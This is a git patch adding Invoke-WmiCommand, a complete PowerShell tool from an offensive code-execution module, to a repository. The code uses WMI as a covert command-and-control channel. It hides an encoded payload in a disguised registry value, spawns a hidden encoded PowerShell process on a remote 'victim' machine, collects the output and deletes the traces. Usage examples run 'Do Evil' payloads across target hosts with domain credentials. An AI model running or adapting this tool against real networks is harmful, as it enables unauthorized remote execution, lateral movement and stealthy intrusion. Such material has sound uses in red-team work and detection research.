From 03ed2adb56a608a6e10cda8b924d76f5a3f0147f Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 23 Sep 2015 15:25:39 -0700 Subject: [PATCH] Adding Invoke-WmiCommand --- CodeExecution/CodeExecution.psd1 | 2 +- CodeExecution/Invoke-WmiCommand.ps1 | 334 ++++++++++++++++++++++++++++ README.md | 4 + 3 files changed, 339 insertions(+), 1 deletion(-) create mode 100644 CodeExecution/Invoke-WmiCommand.ps1 diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index b67cc9e1..8dc5b757 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke--Shellcode.ps1', 'Invoke-DllInjection.ps1', - 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Usage.md' + 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/CodeExecution/Invoke-WmiCommand.ps1 b/CodeExecution/Invoke-WmiCommand.ps1 new file mode 100644 index 00000000..6ee1e156 --- /dev/null +++ b/CodeExecution/Invoke-WmiCommand.ps1 @@ -0,0 +1,334 @@ +#Requires -Version 2 + +function Invoke-WmiCommand { +<# +.SYNOPSIS + +Executes a PowerShell ScriptBlock on a target computer using WMI as a +pure C2 channel. + +Author: Matthew Graeber +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Invoke-WmiCommand executes a PowerShell ScriptBlock on a target +computer using WMI as a pure C2 channel. It does this by using the +StdRegProv WMI registry provider methods to store a payload into a +registry value. The command is then executed on the victim system and +the output is stored in another registry value that is then retrieved +remotely. + +.PARAMETER Payload + +Specifies the payload to be executed on the remote system. + +.PARAMETER RegistryKeyPath + +Specifies the registry key where the payload and payload output will +be stored. + +.PARAMETER RegistryPayloadValueName + +Specifies the registry value name where the payload will be stored. + +.PARAMETER RegistryResultValueName + +Specifies the registry value name where the payload output will be +stored. + +.PARAMETER ComputerName + +Runs the command on the specified computers. The default is the local +computer. + +Type the NetBIOS name, an IP address, or a fully qualified domain +name of one or more computers. To specify the local computer, type +the computer name, a dot (.), or "localhost". + +This parameter does not rely on Windows PowerShell remoting. You can +use the ComputerName parameter even if your computer is not +configured to run remote commands. + +.PARAMETER Credential + +Specifies a user account that has permission to perform this action. +The default is the current user. Type a user name, such as "User01", +"Domain01\User01", or User@Contoso.com. Or, enter a PSCredential +object, such as an object that is returned by the Get-Credential +cmdlet. When you type a user name, you will be prompted for a +password. + +.PARAMETER Impersonation + +Specifies the impersonation level to use. Valid values are: + +0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".) + +1: Anonymous (Hides the credentials of the caller.) + +2: Identify (Allows objects to query the credentials of the caller.) + +3: Impersonate (Allows objects to use the credentials of the caller.) + +4: Delegate (Allows objects to permit other objects to use the credentials of the caller.) + +.PARAMETER Authentication + +Specifies the authentication level to be used with the WMI connection. Valid values are: + +-1: Unchanged + +0: Default + +1: None (No authentication in performed.) + +2: Connect (Authentication is performed only when the client establishes a relationship with the application.) + +3: Call (Authentication is performed only at the beginning of each call when the application receives the request.) + +4: Packet (Authentication is performed on all the data that is received from the client.) + +5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.) + +6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.) + +.PARAMETER EnableAllPrivileges + +Enables all the privileges of the current user before the command +makes the WMI call. + +.PARAMETER Authority + +Specifies the authority to use to authenticate the WMI connection. +You can specify standard NTLM or Kerberos authentication. To use +NTLM, set the authority setting to ntlmdomain:, where + identifies a valid NTLM domain name. To use Kerberos, +specify kerberos:. You cannot include the +authority setting when you connect to the local computer. + +.EXAMPLE + +PS C:\>Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1' + +.EXAMPLE + +PS C:\>$Hosts = Get-Content hostnames.txt +PS C:\>$Payload = Get-Content payload.ps1 +PS C:\>$Credential = Get-Credential 'TargetDomain\TargetUser' +PS C:\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential + +.EXAMPLE + +PS C:\>$Payload = Get-Content payload.ps1 +PS C:\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2' + +.EXAMPLE + +PS C:/>Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose + +.INPUTS + +System.String[] + +Accepts one or more host names/IP addresses over the pipeline. + +.OUTPUTS + +System.Management.Automation.PSObject + +Outputs a custom object consisting of the target computer name and +the output of the command executed. + +.NOTES + +In order to receive the output from your payload, it must return +actual objects. For example, Write-Host doesn't return objects +rather, it writes directly to the console. If you're using +Write-Host in your scripts though, you probably don't deserve to get +the output of your payload back. :P +#> + + [CmdletBinding()] + Param ( + [Parameter( Mandatory = $True )] + [ScriptBlock] + $Payload, + + [String] + [ValidateSet( 'HKEY_LOCAL_MACHINE', + 'HKEY_CURRENT_USER', + 'HKEY_CLASSES_ROOT', + 'HKEY_USERS', + 'HKEY_CURRENT_CONFIG' )] + $RegistryHive = 'HKEY_CURRENT_USER', + + [String] + [ValidateNotNullOrEmpty()] + $RegistryKeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG', + + [String] + [ValidateNotNullOrEmpty()] + $RegistryPayloadValueName = 'Seed', + + [String] + [ValidateNotNullOrEmpty()] + $RegistryResultValueName = 'Value', + + [Parameter( ValueFromPipeline = $True )] + [Alias('Cn')] + [String[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential, + + [Management.ImpersonationLevel] + $Impersonation, + + [System.Management.AuthenticationLevel] + $Authentication, + + [Switch] + $EnableAllPrivileges, + + [String] + $Authority + ) + + BEGIN { + switch ($RegistryHive) { + 'HKEY_LOCAL_MACHINE' { $Hive = 2147483650 } + 'HKEY_CURRENT_USER' { $Hive = 2147483649 } + 'HKEY_CLASSES_ROOT' { $Hive = 2147483648 } + 'HKEY_USERS' { $Hive = 2147483651 } + 'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 } + } + + $WmiMethodArgs = @{} + + # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod + if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential } + if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation } + if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication } + if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges } + if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority } + + $AccessPermissions = @{ + KEY_QUERY_VALUE = 1 + KEY_SET_VALUE = 2 + KEY_CREATE_SUB_KEY = 4 + KEY_CREATE = 32 + DELETE = 65536 + } + + # These are all of the registry permissions we'll require + $RequiredPermissions = $AccessPermissions['KEY_QUERY_VALUE'] -bor + $AccessPermissions['KEY_SET_VALUE'] -bor + $AccessPermissions['KEY_CREATE_SUB_KEY'] -bor + $AccessPermissions['KEY_CREATE'] -bor + $AccessPermissions['DELETE'] + } + + PROCESS { + foreach ($Computer in $ComputerName) { + # Pass the individual computer name to Invoke-WmiMethod + $WmiMethodArgs['ComputerName'] = $Computer + + Write-Verbose "[$Computer] Creating the following registry key: $RegistryHive\$RegistryKeyPath" + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList $Hive, $RegistryKeyPath + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable to create the following registry key: $RegistryHive\$RegistryKeyPath" + } + + Write-Verbose "[$Computer] Validating read/write/delete privileges for the following registry key: $RegistryHive\$RegistryKeyPath" + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CheckAccess' -ArgumentList $Hive, $RegistryKeyPath, $RequiredPermissions + + if (-not $Result.bGranted) { + throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand." + } + + $EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload)) + + Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $EncodedPayload, $RegistryPayloadValueName + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable to store the payload in the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + } + + # Prep the script runner payload from the remote system + $PayloadRunnerArgs = @" + `$Hive = '$Hive' + `$RegistryKeyPath = '$RegistryKeyPath' + `$RegistryPayloadValueName = '$RegistryPayloadValueName' + `$RegistryResultValueName = '$RegistryResultValueName' + `n +"@ + + $RemotePayloadRunner = $PayloadRunnerArgs + { + $WmiMethodArgs = @{ + Namespace = 'Root\default' + Class = 'StdRegProv' + } + + $Result = Invoke-WmiMethod @WmiMethodArgs -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName + + if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) { + $Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue)) + + $SerilizedPayloadResult = Invoke-Expression ($Payload) | % { + [Management.Automation.PSSerializer]::Serialize($_, 4) + } + + $null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadResult, $RegistryResultValueName + $null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName + } + } + + $Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner)) + + $Cmdline = "powershell -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload" + + # Execute the payload runner on the remote system + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline + + Start-Sleep -Seconds 5 + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + } + + Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable retrieve the payload results from the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" + } + + Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" + + $SerilizedPayloadResult = $Result.sValue + $PayloadResult = [Management.Automation.PSSerializer]::Deserialize($SerilizedPayloadResult) + + $FinalResult = New-Object PSObject -Property @{ + PSComputerName = $Computer + PayloadOutput = $PayloadResult + } + + Write-Verbose "[$Computer] Removing the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" + $null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName + + Write-Verbose "[$Computer] Removing the following registry key: $RegistryHive\$RegistryKeyPath" + $null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteKey' -ArgumentList $Hive, $RegistryKeyPath + + return $FinalResult + } + } +} diff --git a/README.md b/README.md index ed32e05f..4761e00f 100644 --- a/README.md +++ b/README.md @@ -22,6 +22,10 @@ Injects shellcode into the process ID of your choosing or within PowerShell loca Execute shellcode within the context of the running PowerShell process without making any Win32 function calls. +#### `Invoke-WmiCommand` + +Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel. + ## ScriptModification **Modify and/or prepare scripts for execution on a compromised machine.**